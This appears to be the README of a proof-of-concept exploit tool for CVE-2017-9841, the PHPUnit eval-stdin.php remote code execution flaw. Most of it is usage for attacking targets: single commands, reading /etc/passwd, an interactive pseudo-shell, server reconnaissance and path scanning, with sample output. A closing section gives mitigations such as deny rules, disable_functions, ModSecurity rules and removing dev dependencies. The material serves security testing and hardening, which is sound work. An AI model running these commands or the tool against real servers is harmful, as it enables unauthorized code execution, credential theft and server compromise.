
CVE-2017-9841 is a Remote Code Execution (RCE) vulnerability in the PHPUnit library affecting versions prior to 5.6.3 and 6.x prior to 6.4.2.
⚠️ DISCLAIMER: This tool is intended solely for educational purposes and authorized security testing. Unauthorized use against systems you do not own or have explicit permission to test is illegal. The author assumes no liability for any misuse of this tool.
CVE-2017-9841 is a Remote Code Execution (RCE) vulnerability in the PHPUnit library affecting versions prior to 5.6.3 and 6.x prior to 6.4.2.
The vulnerability exists in src/Util/PHP/eval-stdin.php, which executes PHP code received via php://input (POST body) using the eval() function. If this file is publicly accessible (e.g., within an unprotected vendor/ directory), an attacker can execute arbitrary PHP code on the server without authentication.
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));
This file accepts PHP code from the POST body and immediately executes it via eval() without any authentication or validation.
requests librarypip install requests
git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py
python3 poc_cve-2017-9841.py -u <URL> [options]
The -u flag accepts both a base URL (auto-appends the vulnerable path) or a full URL pointing directly to eval-stdin.php.
python3 poc_cve-2017-9841.py -u 'https://target.com' --check
Output:
[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841
# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'
# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'
# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'
# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt
python3 poc_cve-2017-9841.py -u 'https://target.com' --info
Output:
=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS : Linux
SAPI : fpm-fcgi
User : www-data
Hostname : web-server-01
Server IP : 192.168.1.100
CWD : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root : /var/www/html/
Server SW : Apache
Memory Limit: 256M
Max Exec : 30s
Open Basedir: (none)
Disabled Fn : (none)
=== DANGEROUS FUNCTIONS ===
system: YES
exec: YES
passthru: YES
shell_exec: YES
proc_open: YES
popen: YES
curl_exec: YES
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell
Output:
[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root root 4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--path '/custom/path/eval-stdin.php' -c 'whoami'
python3 poc_cve-2017-9841.py \
-u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
-c 'whoami'
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--php '<?php phpinfo(); ?>'
sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Add an .htaccess file inside the vendor/ directory:
# /path/to/project/vendor/.htaccess
Deny from all
Or configure it in your Apache VirtualHost:
<Directory "/path/to/project/vendor">
Require all denied
</Directory>
For Nginx:
location /vendor/ {
deny all;
return 403;
}
cd /path/to/project
composer install --no-dev --optimize-autoloader
disable_functions in php.ini; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
open_basedir; /etc/php/8.4/fpm/php.ini or in VirtualHost
open_basedir = /var/www/html/project:/tmp
max_execution_timemax_execution_time = 30
sudo systemctl restart php8.4-fpm
# or
sudo systemctl restart php-fpm
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit
ModSecurity example:
SecRule REQUEST_URI "eval-stdin\.php" \
"id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"
SecRule REQUEST_URI "/vendor/" \
"id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"
# Example: GitHub Actions
- name: Install production dependencies only
run: composer install --no-dev --optimize-autoloader
- name: Remove test files and vulnerable scripts
run: |
rm -rf vendor/phpunit
rm -rf vendor/mockery
rm -rf tests/
find vendor -name "eval-stdin.php" -delete
┌──────────────────────────────┐
│ Attacker │
└──────────────┬───────────────┘
│ POST (PHP code)
▼
┌─────────────────────────────────────────────────────────────┐
│ Apache Server │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php │ │
│ │ │ │
│ │ eval('?>' . file_get_contents('php://input')); │ │
│ │ ▲ │ │
│ └───────────┼───────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Arbitrary Code Execution │ │
│ │ │ │
│ │ - Read/Write files on the server │ │
│ │ - Access database credentials │ │
│ │ - Lateral movement to internal network │ │
│ │ - Install backdoors / webshells │ │
│ │ - Privilege escalation │ │
│ └───────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
The following conditions significantly increase the severity and exploitability of this vulnerability:
This tool is provided for educational and authorized security testing purposes only.
| Field | Value |
|---|
| CVE ID | CVE-2017-9841 |
| CVSS Score | 9.8 (Critical) |
| Affected | PHPUnit < 5.6.3, 6.x < 6.4.2 |
| Type | Remote Code Execution (RCE) |
| Authentication | Not required |
| Vector | Network (remote) |
| Published | June 27, 2017 |
| Reference | NVD |
| Flag | Description |
|---|
-u, --url URL | Target base URL or full URL to eval-stdin.php |
-c, --cmd CMD | CLI command to execute on the target server |
--check | Check if the target is vulnerable without executing commands |
--shell | Open a pseudo-interactive shell |
--info | Gather server information (read-only) |
--find-path | Scan common paths to locate eval-stdin.php |
--path PATH | Specify a custom path to eval-stdin.php |
--timeout N | Request timeout in seconds (default: 30) |
-o, --output FILE | Save command output to a file |
--php CODE | Execute raw PHP code instead of system commands |
| Factor | Impact |
|---|
disable_functions is empty | All PHP functions are available (system, exec, etc.) |
open_basedir is not set | Attacker can read/write files across the entire filesystem |
High max_execution_time | Attacker has more time per request for complex payloads |
| FFI extension loaded | Allows direct C function calls, bypassing PHP restrictions |
| Database extensions loaded | Direct database connections possible (mysqli, pgsql, etc.) |
| No WAF deployed | No request filtering or blocking |
| No IDS/IPS in place | No anomaly detection or alerting |
| Dev dependencies in production | Expands the attack surface unnecessarily |